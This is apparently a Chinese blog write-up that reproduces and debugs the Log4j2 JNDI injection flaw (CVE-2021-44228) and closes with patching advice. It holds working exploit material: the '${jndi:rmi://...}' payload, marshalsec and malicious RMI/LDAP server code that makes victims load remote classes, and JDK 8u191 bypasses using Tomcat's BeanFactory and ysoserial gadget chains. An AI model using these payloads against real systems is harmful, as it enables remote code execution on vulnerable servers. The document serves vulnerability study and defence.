Apache Log4j2 RCE 远程命令执行漏洞复现与分析

0x00 漏洞描述

2021年12月10日,国家信息安全漏洞共享平台(CNVD)收录了Apache Log4j2 远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修复该漏洞。

​Apache Log4j2是一个基于Java的日志记录组件,该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息,得益于其突出于其他日志的优势:异步日志实现。是最受欢迎的于开发时的日志组件。

​2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2 远程代码执行漏洞。由于Log4j2 组件在处理程序日志记录时存在JNDI 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

0x01 漏洞等级

高危。官方 CVSS 评分 10.0(最高是10.0),CVE 编号为:CVE-2021-44228

0x02 漏洞影响

  • Apache Log4j2  2.x <= 2.14.1
  • Apache Log4j2  2.15.0-rc1 (补丁绕过)

该漏洞影响了大批Java框架,包括但不限于:Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、Elasticsearch、Flume、Dubbo、Redis、Logstash、Kafka 以及使用log4j2组件的自研/商业系统等。

0x03 环境搭建

遵守网络安全相关法规,本文不提供任何EXP工具,仅复现和分析漏洞过程原理。故本地搭建存在漏洞版本的 Apache Log4j2  2.11.1 

新建maven项目,jdk版本选用1.70_21(原因后面会说):

pom.xml 导入log4j2 2.11.1的版本依赖:

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-log4j2</artifactId>
            <version>2.1.1.RELEASE</version>
        </dependency>
    </dependencies>

然后右键pom.xml -> Synchronize即可下载依赖:

 0x04 漏洞复现

首先写一个恶意命令执行弹计算器的类,恶意代码放在静态块中

Calc.java

import java.io.IOException;

public class Calc {

    public Calc() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

使用命令 javac Calc.java 编译成class文件

用 marshalsec.jar 起一个简单的RMI服务,模拟恶意RMI服务端,将上面编译好的Calc.class放入同级目录下,运行:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.1.57/#Calc 1389

 再模拟客户端,写一个漏洞利用点

Log4j2.java

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * Hello world!
 *
 */
public class Log4j2
{
    public static void main( String[] args )
    {
        System.out.println( "Hello World!" );
        Logger logger = LogManager.getLogger(Log4j2.class);
        logger.error("${jndi:rmi://192.168.1.57:1389/#Calc}");
    }
}

运行之后就请求到恶意RMI服务器,并动态加载远程恶意字节码执行:

0x05 漏洞原理

0x05_1 动态调试

用Log4j2记录日志,一般是用LogManager.getLogger()获取到Logger对象,在使用Logger对象下的error/debug/info/log/trace/warn等方法处理日志信息: 

研究一下漏洞的触发点是什么,在logger.error()函数处下断点调试:

进入error方法后,可以看到在logIfEnabled()方法中,传入了日志的Level、Message(我们的可控payload):

判断日志是否开启,开启则进行logMessage方法处理:

值得一提的是,在isEnabled()中,会对Level的值进行一个优先级的记录,比如当前Error的日志是200:

其他的等级如下:

 

所以日志的优先级为:

OFF > FATAL > ERROR > WARN > INFO > DEBG > TRACE > ALL

 在logMessage()之后,多次调用之后,最后移交给logMessageTrackRecursion()处理,这里会计算一个递归处理日志的一个深度:

在处理日志的之前,会从privateConfig中获取打日志的策略: 

获取策略之后,调用log方法,跟进去发现是交给loggerConfig.log()去处理:

 在loggerConfig.log()中,先是创建了logEvent,之后再调用重载的log()来处理logEvent对象(日志信息):

最后是进入processLogEvent()中处理,设置了打印了location信息,然后进入callAppender():

 之后一直跟进到AbstractOutputStreamAppender.append()方法:

 在directEncodeEvent中,获取PatternLayerout来进行encode处理日志:

在ToText方法中,传入了两个参数,一个是处理event的11个formatters;另一个是我们的日志:

 接下来就使用每一个formatters的format方法来格式化日志event:

十一个formatters分别是:

DatePatternConverter

LiteralPatternConverter

ThreadNamePatternConverter

LiteralPatternConverter

LevelPatternConverter

LiteralPatternConverter

LoggerPatternConverter

LiteralPatternConverter

MessagePatternConverter 【关键触发点】

LineSeparatorPatternConverter

ExtendedThrowablePatternConverter

简单跟一下是日志处理过程,第一个登场的是DatePatternConverter,用于处理/记录日志时间,执行完DatePatternConverter.format()之后 ,结果返回到buffer中:

其他的PatternConverter就不一一跟进了,直接跟处理日志的关键MessagePatternConverter :

将原本event的日志字符提取到Message msg中;之前的结果赋值给workingBuilder中,然后会有一个nolookups的私有final变量,默认是false,即使默认使用lookup操作,为后面的jndi命令注入利用提供可能:

判断了payload(即将需要处理的日志)中是否有:${  有则提出来赋值给value并传给replace方法进一步处理:

 在replace方法中,又传给substitue方法处理:

substitute关键处理逻辑是先对前缀( ${ )、后缀( } )、分隔符( :- )字符的Mather类进行初始化:

然后递归处理截取了${xxx}中的xxx内容,这里截取了payload:jndi:rmi://192.168.1.57:1389/#Calc

 截取到内容之后,再递归去继续截取${xxx},当然,如果没有嵌套的${xxx}就直接return了:    

 然后就是匹配分隔符::-

 上面匹配了前缀( ${ )、后缀( } )、分隔符( :- ),都是最后给replace成空,也就是去掉这些字符,而且也存在递归操作,这里也为后面的jndi注入bypass WAF提供了途径和可能。

 然后使用checkCyclicSubstitution方法确认处理后的字符串和原字符串是否有出入,然后进入关键的resolveVariable函数,: 

 然后交给StrLookup.looup()来解析payload,可以看到resolver是一个Interpolator类,

构造方法里面初始化了一个 strLookupMap ,将一些 lookup 功能关键字和对应的实例类进行了映射,存放在这个 Map 中:

 值得一提的是,这些关键字随着log4j2的版本不同,支持处理的也会不同,比如上图的是存在于版本2.11.1中的,而在版本2.14.0中额外支持了关键字:upper、lower

在支持更多关键字解析的同时,也为Bypass WAF提供了更多操作空间。 

在lookup方法中,将判断prefix是否在支持关键字中(在strLookupMap表中查询),并通过strLookupMap 表获取到对应的实例,这里是JNDI实例:

然后使用对应的实例,即JndiLookup#ookup方法处理jndi后面的内容:

 最后调用JndiManager#lookup()来进行jndi查询,同时也可以看到JndiManger实际上包含了一个InitialContext类,可以用于lookup操作:

 再跟入稍等几秒钟就会请求远程的RMI服务器上的Calc.class

 至此,调试结束。

0x05_2 JNDI是什么?

上面的漏洞复现都是使用marshealsec.jar直接起的LDAP/RMI服务器,有些同学可能会对JNDI和LDAP/RMI服务有些疑惑,这里简单介绍一下。

JNDI:全称为Java Naming and Directory Interface(java命名和目录接口)SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

RMI:是经典的命名服务,命名服务是一种简单的键值对绑定,可以通过键名检索值。

LDAP:是典型的目录服务,目录服务是命名服务的拓展。它与命名服务的区别在于它可以通过对象属性来检索对象,我们举个例子:比如你要在某个学校里找某个人,那么会通过:年级->班级->姓名这种方式来查找,年级、班级、姓名这些就是某个人的属性,这种层级关系就很像目录关系,所以这种存储对象的方式就叫目录服务。

 其实命名服务与目录服务的本质是一样的,都是通过键来查找对象,只不过目录服务的键要灵活且复杂一点。

JNDI是对各种访问目录服务的逻辑进行了再封装,类似于java中的多态,通俗的来说也就是:以前我们访问rmi与ldap要写的代码差别很大,但是有了jndi这一层,我们就可以用jndi的方式来轻松访问rmi或者ldap服务,所以jndi更像一种提供多态的接口,如下图:

在JNDI中提供了绑定和查找的方法:

  • bind:将名称绑定到对象中;
  • lookup:通过名字检索执行的对象;

下面将简单地演示如何用jndi访问rmi服务:

IHello.java 接口

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {

    public String sayHello(String name) throws RemoteException;
}

IHelloImpl.java 实现IHello接口 

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class IHelloImpl extends UnicastRemoteObject implements IHello {


    protected IHelloImpl() throws RemoteException {
        super();
    }

    @Override
    public String sayHello(String name) throws RemoteException  {
        return "Hello " + name;
    }
}

RMIServer.java 模拟RMI服务端

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {

    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        // init registery
        Registry registry = LocateRegistry.createRegistry(1099);

        // create object
        IHello iHello = new IHelloImpl();

        // bind obj
        registry.bind("hello", iHello);

        System.out.println("RMI Server Starting at 1099 ...");
    }
}

RMIClient.java 模拟RMI客户端

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.util.Properties;

public class RMIClient {

    public static void main(String[] args) throws NamingException, RemoteException {
        // init env
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");  // 指定了到rmi://127.0.0.1:1099加载本地没有的类

        Context ctx = new InitialContext(env);

        // jndi get remote obj
        IHello iHello = (IHello) ctx.lookup("hello");
//        IHello iHello = (IHello) ctx.lookup("rmi://127.0.0.1:1099/calc");  // remote Evil RMIServer

        System.out.println(iHello.sayHello("RMIServer"));
    }
}

其中,Context.PROVIDER_URL指定了到rmi://127.0.0.1:1099加载本地没有的类。

下面运行按顺序启动服务端和运行客户端:

那么思考一个问题,在客户端的Context.lookup("hello");方法是否可以修改为恶意服务器地址呢?

答案是可以的。这就涉及到JNDI的动态协议转换。

JNDI 动态协议转换

就是说即使提前配置了Context.PROVIDER_URL属性,当我们调用lookup()方法时,如果lookup方法的参数是一个uri地址,那么客户端就会去lookup()方法参数指定的uri中加载远程对象,而不是去Context.PROVIDER_URL设置的地址去加载对象。

正是因为有这个特性,才导致当lookup()方法的参数可控时,攻击者可以通过提供一个恶意的url地址来控制受害者加载攻击者指定的恶意类。

JNDI Reference类

但是你以为直接让受害者去攻击者指定的rmi注册表加载一个类回来就能完成攻击吗,是不行的,因为受害者本地没有攻击者提供的类的class文件,所以是调用不了方法的,所以我们需要借助Reference类来加载RMI/LDAP服务以外的对象引用。

如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。

创建Reference对象,可以将恶意对象类传入其构造方法中:

// 第一个参数是远程加载时所使用的类名, 第二个参数是要加载的类的完整类名,第三个参数就是远程class文件存放的地址了
Reference refObj = new Reference("calcName", "Calc", "http://192.168.1.57:1099/"); 
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

 当有客户端通过lookup("refObj")获取远程对象时,获取的是一个Reference类,客户端会在本地的classpath中去检查是否存在类calcName,如果不存在则去指定的http://192.168.1.57:1099/calcName.class)动态加载,并且调用Calc的无参构造函数,所以可以在构造函数里写恶意代码(当然也可以在static代码块中)

JNDI注入

下面演示简单的JNDI注入,其原理是将恶意的Reference类绑定在RMI注册表中,并将恶意引用指向远程恶意的class文件。

JNDI注入的利用条件:

  • 客户端的lookup()方法的参数可控
  • 服务端中Reference的classFactoryLocation参数可控(Reference构造方法的第三个参数)

当用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类时,会加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行。

 下面代码实现:

RMIReferenceServer.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIReferenceServer {

    public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {
        // init registery
        Registry registry = LocateRegistry.createRegistry(1099);

        // create reference object
        Reference reference = new Reference("calc", "Calc", "http://192.168.1.57:8081/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);

        // bind obj
        registry.bind("test", wrapper);

        System.out.println("RMI Server Starting at 1099 ...");
    }
}

上面指定了Reference对象到恶意服务端http://192.168.1.57:8081/中动态加载,这里需要起一个8081端口的http服务,并将恶意类Calc.class放在其根目录下:

python -m http.server 8081

客户端的lookup参数为:

ctx.lookup("rmi://192.168.1.57:1099/test")

运行客户端之后:

http服务也收到class的请求:

0x06 JDK版本限制

jdk版本在jndi注入中也起着至关重要的作用,一些利用链依赖于jdk中的一些特殊类,但是随着jdk版本的升级,可能这些类会被丢弃和更改,导致不能适用,也就是说不同的攻击对jdk的版本要求也不一致:

JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

0x06_1 JDK8u121后

上文漏洞复现中适用的是jdk1.70_21,当选用jdk1.8.0_121后: 

在使用RMI协议无法进行jndi注入:

这里可以使用LDAP协议进行绕过:

0x06_2 JDK8u191后

RMI协议的绕过

在使用高版本的JDK之后,默认com.sun.jndi.rmi.object.trustURLCodebase、
com.sun.jndi.cosnaming.object.trustURLCodebase 的值变为false,禁用了远程加载恶意类的方法,RMI和LDAP协议都无法注入成功。

不过并没有限制从本地进行加载类文件,比如org.apache.naming.factory.BeanFactory(存在Tomcat8中),因为是在本地的,所以无需搭建http服务即可利用。

这里事先导入Tomcat8的包:

BypassJdk8u191Server.java 模拟服务端:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class BypassJdk8u191Server {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
        resourceRef.add(new StringRefAddr("forceString", "a=evil"));
        resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")"));
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("Calc", refObjWrapper);
        System.out.println("Creating evil RMI registry on port 1099");
    }
}

 客户端的lookup参数为:

ctx.lookup("rmi://192.168.1.57:1099/calc")

LDAP协议的绕过

JDK 6u211,7u201, 8u191, 11.0.1开始,com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,导致LDAP远程代码攻击方式开始失效。

利用 javaSerializedData 属性绕过。

当 javaSerializedData 属性的value值不为空时,会对该值进行反序列化处理,当本地存在反序列化利用链时,即可触发。
假设目标存在一个CC链所需的类库,pom.xml:

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

        <!-- https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk -->
        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>4.0.9</version>
            <scope>compile</scope>
        </dependency>

那么可以利用这点进行利用:

1. 先用ysoserial.jar 生成CC链的POC:

java -jar ysoserial.jar CommonsCollections3 calc | base64

2. 转换为base64放到服务端代码里:

LDAP服务端代码为:

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;

public class BypassJDK8191LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] tmp_args) throws Exception {
        String[] args = new String[]{"http://localhost/#Calc"};
        int port = 1389;

        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen", //$NON-NLS-1$
                InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                port,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()));

        config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
        System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
        ds.startListening();
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }
        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }

            e.addAttribute("javaSerializedData", Base64.decode("your base64 code"));

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

 客户端的lookup参数为:

ctx.lookup("ldap://192.168.1.57:1389/Calc")

 

0x07 修复建议

​目前,Apache官方已发布新版本完成漏洞修复,CNVD建议用户尽快进行自查,并及时升级至最新版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2 。

​建议同时采用如下临时措施进行漏洞防范:

  • 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
  • 在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
  • JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
  • 部署使用第三方防火墙产品进行安全防护。

​建议使用如下相关应用组件构建网站的信息系统运营者进行自查,如Apache Struts2、Apache Solr、Apache Druid、Apache Flink等,发现存在漏洞后及时按照上述建议进行处置。

0x08 参考链接

https://tntaxin.blog.csdn.net/article/details/105586691

https://xz.aliyun.com/t/10035#toc-4

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值